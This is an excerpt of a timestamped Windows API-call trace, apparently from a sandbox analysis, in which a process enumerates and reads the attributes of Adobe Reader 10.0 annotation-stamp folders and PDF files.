	[0054.411] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806bec20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806e4d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806e4d80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.414] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.414] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff748c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff748c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff748c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.415] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80698ac0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x806bec20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x806bec20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.419] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80672960, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.424] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.430] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.433] SetEvent (hEvent=0x78) returned 1
	[0054.434] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0054.434] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0054.434] SetEvent (hEvent=0x78) returned 1
	[0054.434] SetEvent (hEvent=0xb4) returned 1
	[0054.434] SetEvent (hEvent=0x8c) returned 1
	[0054.434] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0054.434] SetEvent (hEvent=0x8c) returned 1
	[0054.435] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\*", lpFindFileData=0x12521788 | out: lpFindFileData=0x12521788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.436] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be0f8 | out: lpFileInformation=0x124be0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7e1)) returned 1
	[0054.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\signhere.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be148 | out: lpFileInformation=0x124be148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9cbb)) returned 1
	[0054.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\standardbusiness.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be198 | out: lpFileInformation=0x124be198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16f99)) returned 1
	[0054.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve"), fInfoLevelId=0x0, lpFileInformation=0x124be1e8 | out: lpFileInformation=0x124be1e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0054.438] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\*", lpFindFileData=0x12521788 | out: lpFindFileData=0x12521788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0054.438] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff024a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.438] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1
	[0054.438] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1
	[0054.438] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1
	[0054.438] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.438] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be328 | out: lpFileInformation=0x124be328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5af)) returned 1
	[0054.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\signhere.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be378 | out: lpFileInformation=0x124be378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa6a0)) returned 1
	[0054.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\standardbusiness.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be3c8 | out: lpFileInformation=0x124be3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18efb)) returned 1
	[0054.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur"), fInfoLevelId=0x0, lpFileInformation=0x124be418 | out: lpFileInformation=0x124be418*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0054.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x806266a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1
	[0054.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1
	[0054.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1
	[0054.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x992b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1
	[0054.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1
	[0054.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1
	[0054.443] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x125217a8 | out: lpFindFileData=0x125217a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0054.443] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.444] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\dynamic.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be648 | out: lpFileInformation=0x124be648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe27c)) returned 1
	[0054.445] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\faces.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be698 | out: lpFileInformation=0x124be698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5)) returned 1
	[0054.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\pointers.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be6e8 | out: lpFileInformation=0x124be6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731)) returned 1
	[0054.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\signhere.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be738 | out: lpFileInformation=0x124be738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x992b)) returned 1
	[0054.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standard.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be788 | out: lpFileInformation=0x124be788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5)) returned 1
	[0054.446] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\TUR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\tur\\standardbusiness.pdf"), fInfoLevelId=0x0, lpFileInformation=0x124be7d8 | out: lpFileInformation=0x124be7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x806266a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1804a)) returned 1
